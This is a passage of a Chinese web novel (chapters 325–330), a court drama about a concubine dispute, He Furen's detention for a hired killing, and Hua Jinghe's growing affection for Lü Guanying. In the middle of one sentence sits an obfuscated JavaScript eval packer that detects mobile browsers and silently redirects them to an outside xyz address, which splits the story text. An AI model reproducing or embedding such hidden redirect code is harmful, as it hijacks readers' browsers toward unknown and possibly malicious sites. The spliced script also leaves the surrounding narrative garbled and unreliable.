夏明月指着李玦冷笑道:“每回你都哄一哄我就算了,这次别指望我再上当受骗!婆母这回定逃不脱律法制裁,没人掌家了,你们不想让府里的中馈落在我手里,何小娘又要管娘家的事,你们才想着再纳一个进门! “呵,现在庶长子也有了,贵妾也有了,阖府上下就我一个外人了。那你们还要我干什么?直接休了我吧,我倒要看看你们敢不敢!” 夏明嫣都快笑出来了,可还是一脸为难地帮腔:“妹夫,何夫人,你们都是说句话啊。我二妹妹就是这个脾气,我也是拦不住的。” “把邓姑娘给了我们家两相得益,你们要是坚持说邓姑娘跟妹夫有过私情,这对谁都没好处,也坏了邓姑娘的名节,还有何夫人……您这名声可就实在不好听了。” 邓澜父女能带给端侯府天大的好处不假,可那都是以后的事儿。夏明嫣因为重生了才知道,那些宝物大概是在十二三年后被取出来的。 可是李玦和何夫人不知道,比起邓氏父女这不知何时才能实现的好处,夏明月和夏家带给他们的好处才更实在,何况至少眼下李玦对夏明月还是很有感情的。 何夫人纵使不愿意答应,她心里也清楚,要是李玦只纳了何雨萍一个表妹,这没什么,可是再多了,那就真有问题了。 这些亲戚家过去都是依附过端侯府的,现在却一个个地纳进去,这不就是说她当年帮扶这些亲戚家里都是别有用心的吗?就是想着要人家的女儿给自己的儿子做妾呢,这在高门当中是很不名誉的一件事。 要是过去倒还好,可是现在就算元京府轻判了她,也不是不判,这坏名声无疑会对她有影响。 李玦咬着牙不去看夏明月,只闷闷地说了一句:“明月,是我对不住你。华兄,有些人可以让,有些人……不能。” 何夫人也陪着笑脸却态度强硬地道:“这要是别的事儿也就罢了,可感情上的事,强扭的瓜不甜。阿澜这孩子我最是了解,她不会答应的。” “不然,还是请张大人做个见证,把那孩子传过来,当众问问她,看她答不答应。” 何夫人相信他们跟邓氏父女早就绑在一条船上了,她不相信邓澜敢背弃她,她更不相信邓澜能相信华靖离和夏明嫣到了能交托那么大的秘密的地步。 这样的话,邓澜即便做了华靖离的贵妾,又能怎样呢? 邓氏父女这么多年来之所以这么多年都跟他们端侯府绑在一起,那是因为他们只能这样做。 第325章故意让他留意到什么 当年那场弄巧成拙的假海难,邓父也是参与者之一,他要是告诉这个秘密,就得先坦言他当年做下的事儿,谁也不会告诉别人他自己犯下了这么大的罪过。 而端侯府是整件事的布局者,本来就知道这件事,又掌握着一些海上的人手,有机会让那些东西重见天日,才是最能包容邓父且将来得了好处能分给他们父女一份的人。 何夫人根本就不相信邓父会对华靖离这个局外人坦诚,况且告诉华靖离,他们父女能得到什么好处? 华靖离要是把这件事告诉了朝廷,邓父定会落罪,而邓澜也会受到牵连。华靖离若是不说,他们华家的人手都在北疆,身边亲近之人没有通晓和擅长处理海上那些事儿的,那些东西也取不出来。 这样的邓澜在华家能有多高的地位?不过是个看着好看的摆设罢了。 别人邓澜过去最多是个贵妾,她就是正妻,也比不得正妻。 不说别的,何夫人特别欣赏夏明嫣一嫁过去就用云翠居的生意安置元京的退军家眷一事,这就是在为华家收揽人心,从前还有人说华靖离太过刚毅、不近人情,现在连带着这样的声音都少了。 邓澜可做不出这样的事,她也没有夏明嫣做这事儿起家、打底用的本钱,也就是嫁妆,她就是想做类似的事儿也做不出来。 这样的邓澜即便得宠,也只是一时的,过上几年有了新的妾室进门了,或是夏明嫣把位子彻底坐稳了,哪里还有她的事。 邓澜也是一个聪明人,这些道理她稍微想一想就能明白了,因此她定是不想到华家做妾的,定是被华靖离逼问的时候不好拒绝。 至于邓澜将来要是为华靖离传宗接代了而邓父愿意为了自己外孙交托这一秘密了,何夫人自然是害怕的,可以邓澜这弱柳扶风的身子,这都是以后的事儿,她不能放过哪怕万分之一的可能,可她觉得邓澜赌不起。 何夫人执意把邓澜叫过来问话,堂上的张礼岁差点当堂翻个白眼儿翻死堂下的一众人等。 这案子本就说的是吕家和华靖和的事,当中牵扯到孩子的安置,后面华靖离顺势与李玦割袍断义也就罢了,现在连纳妾的事都要在这公堂上解决不说,这两家还为了一个女子争执起来了。 这都是些什么狗屁倒灶的事,还要让他做见证! 张礼岁心里那个气啊,不过纳妾的事虽说是华靖离这边先提起的,可是他最气的是李玦这个人。 张礼岁原就认为李玦是个徒有其表的软脚虾,这件事之后他就更加这么觉得了,一个败落的侯府,一个父亲过世近二十年还没袭爵的世子,到底有什么底气见一个爱一个还要全都娶回家的? 不管夏明月这个人多么凶悍,人家一个尚书府嫡女、首辅外孙女能看上他这么一个破落户,那是他祖上烧高香了,好吧,还敢在公堂之上要纳另一个女子为妾。 要是寻常女子倒也罢了,偏偏这女子是婚前有私的,还是华靖离看上了的。 李玦和何夫人一口咬定,要不是华靖离威慑在前,邓澜不会表达出愿意入华家为妾的意愿,张礼岁却不这么看。 就说把华靖离和李玦这两个人放一块儿对比,别说给华靖离做妾了,就是去当侍女的,那聪明人也不会选李玦。 就凭李玦这见一个纳一个的速度,天知道他以后要纳几个…… 张礼岁便道:“此事与本案无关,不如诸位回去之后自行解决。华二公子的事已了,眼下只把这孩子如何安置定下来。何夫人的罪责,本官自有定夺,只是因其身有诰命,此事本官需上禀朝廷之后再行宣判。” “不如今日便散了吧……不过,李世子,何夫人,本官也有句话想劝劝你们,不过是一个表亲,又是要做妾的,就不要为了她再伤了你们两家的和气了。” “况且何夫人到底伤了人命,李世子也该想想该如何为母尽孝,在这个节骨眼儿上还想着纳妾,实在非君子所为!” 亲生母亲都要被下狱、流放了,他还想着纳妾,还因为这个跟对自己有助力的正室妻子当众大打出手……这件事传出去,可真是自毁前途。 这样的高门人家,只要家里的顶梁柱不倒,后面就难保没有翻盘的机会,因此就算何夫人丢了性命,李玦也还得继续往前走他自己的路。 就这样败坏了自己的名声,实在不明智,按理说只要李玦不傻就不会这样做……咦,可是,他们要是执意这样做,会不会有别的可能? 张礼岁暗暗打了一个机灵,今日李玦母子的反应有诸多反常之处,除非这母子俩都有毛病才会在公堂之上做出如此荒诞的事,可是另有别的重大原因可就不好说了。 还有华靖离和夏明嫣也是聪明人,他们为何非要把这桩闹剧搬上公堂呢? 要知道纳妾这事儿上,李玦不好看,华靖离夺昔日义弟的心上人、欲纳之妾也不好看,他这样做何尝不是自毁名声? 当然,华靖离身上多一些这样的事,反而能消弭一些他原本的棱角,能让他不那么被人忌惮,可这毕竟也不是什么好名声。还有夏明嫣,她的表现也太大度了一些。 这么看来,难不成他们是想让他留意到什么端倪……张礼岁不由得看向华靖离。 华靖离目光一沉,算是点了头了,嘴上却带了些气地道:“邓姑娘若是进了端侯府为妾,那便是这孩子的庶母,也算是如何安置这孩子的一部分,怎能算是与本案无关?” “刚才我便想到何夫人会这般态度,我便让内子派人去请邓姑娘了,这件事不如问问她自己的意思,也好让何夫人死心。” 夏明嫣也劝何夫人:“夫人连那等事都做下了,怎知邓姑娘会不惧怕?这要是我,是断断不敢做您的儿媳的。不过您既然问起,就听听她自己怎么说吧。” “你们……我对吕家那般,是因为她是那种女人,阿澜不一样,她也不会就信了你们的!”何夫人笃定地道。 第326章她该改名叫邓怼怼 大恒是有女狱的,元京还有一处庵堂,专门关押这些犯了错的高门和官户家眷,何夫人就算能逃过一死,也得去这些地方。 要是没有特殊的机缘,之后少说十年之内是出不来的,她已经认清了这一点。正因为如此,她得先把后头的事儿安排好。 邓澜要是嫁给了华靖离,就算她和她的父亲不会说出那个秘密,她也不能放心。 万一邓氏父女没说,可日子久了,华家人在他们身上发现了端倪,顺藤摸瓜地追查下去,难保不会查出问题来。 因此何夫人当下要做的就是把邓澜娶回端侯府去,这样她才能放心,而她笃定只要她在场,邓澜一定不会违背她的意愿。 这些年她一直在跟邓澜灌输,像邓澜这样的人将来只能嫁到端侯府,嫁给自己的表兄,才是她最好的选择。 当初还没跟夏家解除婚约的情况下,邓澜都可以跟李玦私定婚书,这才隔了多久,没道理会反抗她。 何夫人如此笃定,李玦见她如此,也放下心来,这二人都选择了无视夏明月恨不得弄死他们的目光。 他们甚至想好了,既然不可能跟夏明月和离,更不可能跟夏、楚两家决裂,那么他们回去可以像夏明月透露点什么。 不是说出全部真相,只说一点,就只说当年老端侯暗中留下了一笔足以重建李家军的资财就好了,有这样的前景钓着,让夏明月包容邓澜也不难。 邓澜之前就在外头侯着了,传话的出去了一会儿就带着她回来了。 何夫人满脸期待地看着邓澜,想在她脸上看到在公堂上得遇亲人的激动,却只看到怨恨和害怕。 何夫人抢先开口:“阿澜,华侯和华夫人说你愿意入钩翊侯府为妾,是你不好开口拒绝对不对?不怕,姨母和你表兄都在这儿,你不愿意就告诉他们,保证没有人会强迫你。” 邓澜看了何夫人一眼,直接站到了夏明嫣身边:“姨母说错了,没有人强迫我,我是自愿入华家为妾的。” “啊,怎么会?阿澜,你不是这样的人,你怎么会答应到华家做妾,你明明可以……” 何夫人不可能在公堂之上提醒邓澜那些潜藏的利害关系,只能用旧情暗示她,可话一出口,她自己都觉得有些不对味儿了。 果然,一向温柔如水的邓澜一句话就给她顶了回去:“明明可以怎样,做侯门正室么?姨母是打算让我嫁与表兄做正室么?也是,咱们两家是定过婚书的,刚好能够成行。” “当初姨母信誓旦旦地说跟夏家的婚约完了,之后会让夏氏女为妾,可事实是夏二姑娘做了表兄的正室。怎么,表兄是打算休了表嫂么?什么时候休?” 即便夏明月不跟李玦过了,也只能两家和离,邓澜偏要说休妻,旁边的夏明月恨不得当场吃了邓澜。 何夫人见那两个嬷嬷还站在夏明月左右,正好忽视了她,继续劝邓澜: “这……倒不是,他们已经成亲了,不能轻易和离。你嫁给你表兄,虽然只能做妾室,可也是贵妾,不比你何家表姐差,一样可以锦衣玉食。” “你跟你表兄从小就认识,情分自然跟别人不一样,他一定会待你很好的。你要是去了华家,无亲无故,还是做妾室的,他们现在许诺给你的千好万好,将来翻脸不认人了,你可就叫天天不应、叫地地不灵了。” 这话要是放在别人身上倒也对,可偏偏李玦这个人已经不值得信任了,这就不是一个能担得起事儿的人,而他做不到的,华靖离却可以。 其实邓澜早就到了,一直都在外头廊子下面跟夏明嫣找来的那几个说书匠一起听着,她原先还有些抹不开面子,不大好跟姨母、表兄决裂,尤其这还是在公堂之上。 她想着自己找到了更可靠的靠山,也应该跟他们好聚好散,甚至她一定会叮嘱她的父亲,不要把那个秘密告诉华家人。 可在她听了、看了这一场闹剧之后,她对他们彻底死心了。 她跟她父亲都没有什么野心,就是想好好活着罢了,原本依附何夫人和李玦,也只是因为他们都算是那件事的共谋者和后人,那么大的秘密,他们父女也不好告诉别人去,再加上本来就是亲戚,自然只能选择依附端侯府。 可是李玦和何夫人值得他们依附的前提是,他们打算的那些都能成事。 她和她父亲倒不是指望将来成事了能分一杯羹,而是李玦、何夫人打算的那些事儿要是不成,那很可能是要一起掉脑袋的。 如今看来这俩人要是能成事儿,老天爷得有多瞎啊,他们父女再帮着这两个人,怕是要尸骨无存了。 很多时候对一个人看法的转变只用一瞬间,邓澜却是积蓄已久,从前她就在不断地质疑这两个人究竟能不能成事儿,只不过今天闹这一场成了压倒她心里那一点希冀的最后一根稻草。 邓澜怒视着何夫人:“姨母的意思是做不成表兄的正妻就去做妾,您和表兄已经失信过一次,写好的婚书都能不认,您现在的许诺还能相信么?” “我是不敢信了的,相信姨母和表兄当初也是如此像表嫂和何表姐这样许诺的吧?我是不敢再相信你们的许诺了。” “我今日过来,是因为我争得了父亲的同意,把婚书带过来,当着张大人和华侯、华侯夫人的面奉还贵府。” 她转身对着张礼岁又行了一礼,郑重地道,“民女父女二人家业败落、人微言轻,当初若非姨母说已经在于夏家商谈退婚,定然不敢与表兄定下婚书。” “民女自小没了母亲,便多与姨母亲近,那时并不疑有他,信了她的那些话。没想到,险些铸成大错。大人您若是要追究表兄停妻再娶的罪责,民女父女和城东的纪大娘子都能做见证。” 之前婚仪的时候,纪大娘子曾经在人群里说过夏明嫣的闲话,这人跟楚氏有些往来,因为收了楚氏的好处,对夏明月倒是不错。 第327章裁夺 纪大娘子还有另一重身份,就是太子谢维奶娘的亲姐姐,这人也算是东宫在民间的一双耳目,虽说风评上不是很好,却绝对是一个拿得出手的人证。 何夫人根本不知道他们谈婚事的时候居然还有这么一个人在暗处偷听,她不可思议地瞪着邓澜,而这一回邓澜不再如往日那般柔顺谦卑,她的目光犹如一汪平静无波的池水,当中甚至多了几分她这个年纪不该有的苍凉。 何夫人忽然意识到或许只有她以为邓澜只能依附于她,实际上邓澜早就长大了,而且一直在为自己的前程筹谋。 邓澜的话里带着暗示:“这么些年,我和阿爹承蒙姨母照料,可话说回来了,我阿爹过去是侯府家臣,是李家军的统领之一,他落下一身伤病、九死一生,何尝不是因为姨夫?” “这么些年,姨母虽说对我们有些贴补,可究竟有多少,大家也都看在眼里,端侯府的家底儿在那儿摆着,您心里也有数。我们父女为您和姨夫做的,为了您表兄打压夏家做的,都足以偿还了。” “我不过蒲柳之姿,嫁人也不过完成女子命里的一个步骤罢了,就不劳姨母费心了。大人,这里还有一份民女父亲亲手所写的陈情信,上面说明了愿让民女入钩翊侯府为妾。” 邓父除了长年酗酒,近年来身子也不大好,何夫人和李玦又都在场,他若来了吵将起来说多错多,反而会把一些不能说的事儿翻出来。 他不出面,但亲自写了文书,这时候的文书也是可以请了作证证明是本人所写的,文书落款处赫然是两个元京府常用讼师的名字和印鉴。有了这个,何夫人就真不好说什么了。 不仅如此,邓澜在用眼神征求了夏明嫣同意之后,把她和李玦那份婚书交给了夏明月,还像夏明月道了歉。 “表嫂见谅,当日家父也是被猪油蒙了心了,也是真以为他们会跟夏家退亲,才会答应这门亲事,好在这亲事终是没成的。” “刚才这里说的那些话,我在外面都听到了,我与表兄并未有过私情,这一点是姨母想要留住我,才言过其实了。表嫂不用介意,何况日后我进了华家的门,自是跟表兄没有关系了。” “这份婚书表嫂收着,日后要是表兄对你不好、惹你生气了,你拿着这个去告他就是了。” 夏明月心里不是没气,可是邓澜既然已经摆足了姿态,更是已经要另嫁他人了,想想一个妾室在华家那种地方,以后出门都难,就是想跟李玦有些首尾也是办不到的,她心里终究松了一口气。 主要是夏明月现在千头万绪的,还是要先把何夫人打压下去再压服了李玦才行,也没空管一个已经不足为惧的“情敌”了。 她闷闷地“嗯”了一声,一把将邓澜推开,手指捏着那纸婚书就往何夫人和李玦面前扬: “都瞧见了吧?婚书在此,还想抵赖,婆母,我看咱们这端侯府就是上梁不正下梁歪,您老带了个好头,连带着我夫君都做出这种事儿来。” “我夏家的女儿不管是谁嫁过来都容不得你们如此羞辱,你们自此消停了,咱们都好说。要不然,正好咱们现在都在元京府,现在就把我父亲、母亲请来,咱们再把这桩案子断个明白。” 有了婚书在,立刻就能断一个停妻再娶,李玦的前程也就毁了。要是夏明月坚持要和离,李玦以后的婚事都成问题了。 眼见着证据到了眼前,何夫人和李玦才不敢闹了,不能说他们不堪一击,只能说今天发生的一连串的事态超出他们的预料。 尤其是华家居然把那孩子找了出来,还有邓澜居然甘愿去华家做妾,这是被华靖离和夏明嫣灌了多少迷魂汤了,才会把自己整个交托出去……再或许邓氏父女早就在找寻脱身的机会了? 何夫人这时候已经顾不上自己的安危了,她的目光不停地在邓澜和夏明嫣之间打转,她想看看这两个人是不是已经达成了某种协议,想看看邓澜父女是不是已经出卖那个秘密了。 好在何夫人暂时没有看出她最害怕看到的东西,邓澜父女至少眼下不会出卖他们。 何夫人并没有因此就松了气,他拼命地给李玦使眼色,想让他明白就算邓澜进华家已成必然,也得想法子阻止他们说出真相。 然而张礼岁没给她再暗示下去的机会,他一拍惊堂木,说出了吕家一案和这场闹剧的结果: “本府查明,吕氏长女一案与华靖和无关,华靖和当堂释放,三日之内本府会在元京张贴文书,为华靖和澄清事实、恢复名誉。着端侯府世子李玦亦出具文书张贴,澄清事情的来龙去脉。” “端侯府世子夫人夏明月,护夫心切,暗中推波助澜,世子李玦需在文书中说明此事,世子夫人夏明月需要向华靖和赔偿纹银三百两,以补偿其损失。” “端侯府侯夫人何氏,买凶杀人,念其事出有因、护子心切,按律当流徙两千里。然念其有诰命在身且年过五旬,此事本府许报大理寺及宗正司后再行裁决。” “吕家之子乃端侯世子李玦之子,世子李玦已自认血脉,其妻亦当庭认下此子为庶长子,遂许世子李玦夫妇将其带回府中教养,并于一月之期内将其名讳、生年记入族谱,本府将派人备察。” “此子认祖归宗之后,望二位悉心教导,也不枉她母亲一条性命和拳拳爱子之心……如此,你们可都认同?” 如果何夫人不是侯夫人,而吕大姑娘没有那段沦落的经历,定然不会如此裁夺,可上公堂之前,大家所预想的结果也和现在差不多。 吕冠瑛心里也清楚,她争这一回,就是为了这孩子争一个将来,争一个不要再重复她们姐妹命运的机会。 因此即便吕冠瑛心里愤恨未消,表面上也是认可了对何夫人的裁夺的,只是有有一点她不认同。 第328章找新靠山 吕冠瑛推着自己的小外甥一起上前跪下:“还请大人开恩,民女只求这孩子能入良籍,并不求他入端侯府。他还这么小,还望大人垂怜,或是过上几年再接他回去吧。” 吕冠瑛也不是傻子,她虽然不像那些贵女们自小有名师教导,读过很多书,可是她从小就跟在父母身边打理铺子,见过许许多多形形色色的人。 她看得出来,李玦虽然是真心接受这孩子的,可他这个人见风使舵,为了利益可以随时抛弃别人,这孩子还小,对他来说更是无利可图。 只要李玦过了初时知道有了儿子的感觉之后,他很快就会对这个儿子不闻不问。尤其他跟他的母亲似乎在谋划什么不足以为外人道的大事,跟这件事比,一个生母出身微贱的庶子又算得了什么呢? 尤其是李玦明显还要依靠夏家袭爵呢,一个靠着妻子裙带往上爬的男人能有多可靠。吕父生前买卖做得是不大,可他在妻女面前很有担当,因此她是打心底里看不上这种靠着女人往上爬的男人,无论他们的身份有多高贵。 还有夏明月,她只是为了打击她的婆母才暂时接纳了这个孩子,并不是真心接纳,甚至之后恐怕连无视、漠视都做不到。等她缓过这口气,她哪里还能容得下这个孩子。 侯府高门,要想动手除掉一个孩子根本就不需要夏明月自己动手,来一场病,放任着不去用心医治就够了,到时候才真是连个说理的地方都没有。 张礼岁知道吕冠瑛在担心什么,可是这种事良贱有别,认贱归良必然要有牺牲,不能说让人家认了子嗣却不让人家把孩子接回去吧。 况且今日他站在华家这边的时候已经太多了,在不违反律法的情况下,他也得站在端侯府这边一次,而吕氏姨甥恰恰是可以略微牺牲一下的那个。 张礼岁也不认为这孩子回了端侯府就一定不好,就算不好,也未必就比在吕家这样的小商贾之家长大差。 他清了清喉咙道:“吕二姑娘,你还是姑娘家,云英未嫁,单独抚养一个孩子并不合适。他本是侯门之后,既然生父和嫡母都愿意认下他,按照我朝律法,他必须回到他的家族。” “不过之后这孩子如何抚养,你可与李世子和世子夫人商议,也可以定期探望。本官特许你每三月一回,可去探望这孩子。本官知你心疼这孩子,可你也要看开些。” 说着,他便一拍惊堂木,唤了人来,“来人,将何夫人暂且收押至后堂,待大理寺和宗正司示下之后再行定夺。” 此言一出,众人皆称是,吕冠瑛不得不看向夏明嫣,夏明嫣回看向她,微微摇了摇头,众人便各自散去。 邓澜与端侯府决裂,虽说何夫人被关了起来,也难保不会派人去找他们父女的麻烦,夏明嫣给他们安排住处,先住到了退军家眷那边的空院子里去。 那地方是迁走了的退军家眷的,夏明嫣之前自己买了下来,预备着将来安置人,这周围都是退军家眷,如今都是靠着她和华家吃饭的,都是可靠的人。 邓澜和她父亲住进去,又只是暂住半个月,不会有什么问题。之后邓澜就会进府,她父亲也会安排到庄子上做个庄头养老。 夏明嫣这时候不好再送吕冠瑛,但想到吕冠瑛上辈子是华靖和的妾室,这两个人的缘分也不知道断了没有,便不得不叮嘱她几句: “你可记得我跟你说过,端侯府里还住着李家的两房亲戚?一个是何夫人的妹子,一个是老端侯的妹妹,也就是孩子姑祖母。” “因着一些生意上的事,我跟她们还有些交情。那何姨母或许会因为何夫人的事恼了你,可李姑母不至于,毕竟这孩子是李家的血脉。” “回头我让人请她出来吃茶,你与她见上一面。她虽然不会对孩子有多上心,可她必定不会害了李氏子孙的性命。她又我那二妹妹的长辈,有她护着,我那二妹妹也不好明着做什么,其他的走一步看一步。” 之前栗羡鱼和白玉凤带了话回去,那两家虽然还在观望,没有决定要跟着他们去通寨子、开新商路,可也释放出了善意,在护城河周边修缮时帮了些小忙。 这回何夫人倒了,之后夏明月一家独大,他们这两家子随时都可能被赶出府去,他们也该找找新的出路了,不然他们家里那些等着在端侯府做管事儿的男丁也不知该如何安排呢。 很多人想着这些个亲戚在高门混不下去了,出去做生意也能过得不错。 他们也不想想,这些人就算能放下曾经出身高门的骄傲,愿意沦为商贾,可他们前头半辈子都没做这样的打算,尤其是钱财和人脉都不具备,这生意可不好做。 尤其他们这些人都是拖家带口的,不是一个人,就算只是想养活一大家子人,也不是一件容易的事。 这种情况下,这两家必定是要倒向夏明嫣和华家的,只是照顾一个孩子,让他吃饱穿暖、有书念,并不是什么难事儿。 吕冠瑛艰难地点头了头,只是到底还是担惊受怕的:“只是万一……也罢,孩子还小,过上两年,或许又有转机了。那我先回去收拾收拾,把他惯用的东西给他送过去。” 夏明嫣叫了个跟着来的嬷嬷送吕冠瑛回去,还叮嘱她要是有事儿又找不到她,可以去找华靖和帮忙。 华靖和就那么眼巴巴地看着吕冠瑛走了,人都上了马车了,他的目光都没有收回来。 夏明嫣看着华靖和陷入了沉思,据华靖离回忆,上一世吕冠瑛做华靖和妾室的时候压根儿就没有提过自己还有这么一个外甥,那就是如之前那般,孩子被何夫人扣在一莲观之后没再露面,这姨甥二人就彻底离散了。 那时候吕冠瑛纵使一定还在暗中寻找着这孩子,因为一直找不到,她心里的那个牵挂没有实际落脚的地方,便是虚的。 可是这一世不一样了,那孩子吕冠瑛多半是不能放心的,这样的她跟华靖和还有可能么? 第329章苦命之人 吕冠瑛来的时候是一个人,回去的时候还是一个人,那孩子被何夫人身边的嬷嬷带回端侯府去了。 华靖和见吕家的马车远去,喃喃自语地道:“没想奥这世上还有这么苦命的人,她跟那孩子以后应该会好起来吧……” 夏明嫣伸手在他眼前晃了两下,等他回过神儿来才道:“这世上苦命的人多了,她远远不算最苦命的。你自小也是在市井里玩儿惯了的,按理说也是见过苦命之人的。” “怎么,对她动心了?二弟,有几句话嫂嫂不得不提醒你,这一来,不是说吕家是商贾,你是出身侯门,家里就看不起她了。而是你们两个从小生活的环境相差太大,你们两个的性子、经历也都相差太大。” “除去侯门公子的身份,如今的你在吕二姑娘眼里,恐怕跟自家阿弟差不多。你跟她比起来,你还是个孩子。” “再有,你得想想,要是那孩子没被端侯府认回去倒也罢了,如今认回去了,这就说明吕二姑娘日后跟端侯府的联系断不了了,端侯府的人还可能会拿着孩子要挟她。” “那孩子毕竟是李家的子孙,我们不可能每次都插手,甚至就是发生了什么事儿,我们也未必就能及时知道。如果你娶了吕二姑娘,她会不会为了那个孩子受了那边的要挟,转而让你为难?” “你也看到了,今日你兄长与李世子当堂**,有些事儿现在还没办法全告诉你,可你也知道以后这关系是不好处的。如果她让你为难,你是在她一边,还是站在你兄长和华家一边……” 夏明嫣说完就上了马车,正要放下幕帘时又想起一件事,“你在外头赁的那个院子,你兄长让人守住了,你回来了,人也该撤了。” “你的那些画不错,不过我在里面加了点东西,大概最近也会有别人在里面加点东西,你就当没画过吧……” “嫂嫂何意?不过那些画儿难登大雅之堂,就是嫂嫂一把火烧了也没什么。”华靖和不大明白地看着夏明嫣。 夏明嫣笑笑:“这两日先别动里面的画,也别在那边过夜了。要是一个月之后还无事发生那便算了,要是有事……就算我和你兄长送你的一场富贵吧。” 夏明嫣不在解释,放下了幕帘,而华靖离拍了拍华靖和的肩膀,交待他无论之后去哪儿,先得回府见见几位长辈,便上了门,一行人往钩翊侯府而去。 华靖和没跟着华靖离和夏明嫣一起,元京府这儿还有些手续要办,他之前住府衙后罩房时用的衣物也需要他自己领回去。 这些功夫自然有元京府的衙役帮他办,他只需要按照人家的要求适时地按个手印就行,末了还赔了他二十两银子的拘押银,表示之前抓错人了。 华靖和对着衙役们赔给他的笑脸尴尬地回礼,他想着的还是夏明嫣刚才说的那些话,初时不懂,后来却因为一个老衙役的几句话霍然开朗。 那老衙役见华靖和一副失魂落魄的样子,见华家只留了几个护卫等他,便大着胆子讨好他: “华二公子这回清白了,该高兴才是。不是小的托大,这几日你也没受多少委屈,之前的事儿的确会有人说闲话。可是华侯都为了你跟那李世子割袍断义了,这么大的声势造出去,你还怕自己清白不了?” “要小的说,二公子回去先歇一歇,等歇好了,就多和那些友人聚一聚,大家看到你没事,自然什么都明白了。” 遇上这种事儿最怕的就是,出事儿的时候声音大,澄清的时候声音小,以致于对方已经清白了,却无人知晓。 可是华靖离也是在今日跟李玦**的,虽说明眼人都知道这背后还有别的事儿,可这般决断也的确能为华靖和正名,甚至可以说这件事就是**,华靖离从前一直忍让,如今就是因为不想让自己的庶弟被端侯府欺负,才公然跟李玦**的。 以华靖离往日积攒下来的人品和口碑,即便华靖和在这件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758410|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿中也有不是,就好比他从前也的确流连过书寓,外人也不大会相信他跟吕大姑娘完全没有首尾,可只要华靖离为他做到这种地步了,就相当于用自己的人品和口碑为他担保了,他自然就彻底清白了。 即便还有人会诟病他行事、举止轻浮,那也是小节,他有这么一个兄长,还肯为了他出头,谁也不会再跟他较真。 甚至这件事对华靖和还有别的好处,那就是让整个元京都看到了他和华靖离的兄弟关系和他在钩翊侯府的地位,以后谁都不敢再轻视他了。 想到华靖离和夏明嫣对他的好,华靖和脸上有了点笑模样,连连道:“兄嫂对我都是极好的,无论如何,这回都是我给他们添麻烦了。” “以后这些外面的事儿一定要小心,我也想不到只是三年前出去吃了顿酒,就引出这么一场风波来。还好我是华家人,有这样的兄嫂,若不然没准儿我就真被冤了去了。” “还有吕大姑娘……若是我被冤了去了,她的孩子说不好就永远不知道自己的亲生父亲是谁了。我家里人因为我被冤了,也定然不会对那孩子太好,还有吕二姑娘多半也会被牵连……” 华靖和完全让自己带入了进去,要不是有华靖离和夏明嫣撑腰,这件事儿没准儿真就这么发展下去了。 那么吕冠瑛会怎样呢?没了亲人了,只剩下这么一个外甥,华家为了子嗣,多半会留下孩子,但要是说能顺势对吕冠瑛多好,那也不可能。 吕冠瑛夹在华家人和孩子之间得多为难,而且她还会误会他,以为是他害**她的阿姐…… 想到这种可能,华靖和就很难过,他跟华靖离不一样,他从前在外面是动过男女情愫的,他知道,他这是对吕冠瑛动心了。 其实,他就是个没出息的庶子,将来也就是学学怎么替家里打理庶务了,华家的产业他也不打算多占的,分给他的够过日子就行,好像娶吕冠瑛也不是不行…… 第330章两个算计的,一个蠢货 华叶峰和董氏都不是挑剔出身的人,不会介意吕冠瑛是商贾出身。 今日夏明嫣虽然提醒了他要注意二人之间的差距,可那是担心他自己想不明白,之后会后悔,只要他自己想清楚了,做了决定了,她和华靖离都不会反对了。 整个钩翊侯府唯一的阻力大概就是他的生母卜小娘了,可只要华叶峰同意了,卜小娘也不能怎样,最多就是唠叨几句。大不了成婚后,他和吕冠瑛搬去别院住…… 一提到吕冠瑛,华靖和的神情就不对了,那老衙役是个过来人,这辈子见得人也多了,很快就明白过来,他难免失笑道: “二公子可是瞧上那吕家二娘了?那姑娘倒是个俊俏的,能遇上你们华家人也算有点运道。” 华靖和脸上一红,见四下无人,这老衙役又很有长辈模样,他便笑着小声道: “老人家看出来了?我觉得我们家和她是挺有缘分的,她孤零零的一个人,性子坚毅,我是一个庶子,又是个没主意的……家里应该不会不答应吧。” 老衙役微微颔首,偷着看了看他的脸色:“小的托个大,说几句过来人才说的话,刚才去叫二公子的时候,小的无意间听了华侯夫人几句话去。” “小的以为很是有道理,若是纳妾,二公子或许还能考虑她。可若是娶妻,先不说门不当户不对,以后华侯和端侯府的关系好不了,中间还夹着那孩子,你们打算如何相处?” “华侯是什么样的人品,小的们都知道,要是以后端侯府那边利用那孩子要挟吕二姑娘,让她在华家做些什么,她自己也不好相处啊。” 华靖和不是不明白这个道理,他连忙道:“可是我可以分出去住,我不让她有被利用的机会。” 老衙役叹了口气,把他的衣物放在包袱皮里包好,塞进他怀里: “你们住到了外面,就算把家也分了,万一有人想利用你们要挟他,设局害你们怎么办?二公子可有了自保和自立的能力?” “华侯夫人的话说得太委婉了些,小的嘴里没那么些文绉绉的话。小的只问你,吕二姑娘一年内接连丧父、丧母、丧姐,还险些失去了自己唯一的小外甥,之后还要为自己和小外甥的生计奔走。” “反观二公子你可曾经历过这些痛楚?可曾为自己的生计奔波?看着武库、擦拭刀剑的人和拿着刀剑到沙场冲杀过的人不一样,她一个女儿家尚且上阵冲杀过,你呢……” 老衙役言尽于此,正好有别的衙役过来,就一起跟华靖和玩笑了几句,各自散去了。 华靖和听完更加失魂落魄了,这老衙役说的话到底比夏明嫣说得一针见血。 吕冠瑛跟那种单纯只是生活艰辛的还不一样,接二连三地失亲之痛相当于见过血的,而且吕大姑娘这事儿定然不可能让何夫人偿命,她心里还会一直憋着这口气。 更别说那孩子了,那孩子要想让她经常都能见到,少说也得等到将来成家立室之后,这中间她又不知道要受多少搓摩。 而他呢,迄今为止最大的伤痛恐怕就是被自己的生母催逼着跟华靖离争家业了,再就是担心华靖离会误会他,不把他当弟弟看待,其他的磨难更是只有这次明显受了优待的牢狱之灾。 他跟吕冠瑛比起来,可就像一个未经世事的阿弟么? 华靖和缩了缩脖子,多少有些难为情,就算他愿意娶吕冠瑛,这样的他,吕冠瑛也未必就瞧得上吧…… 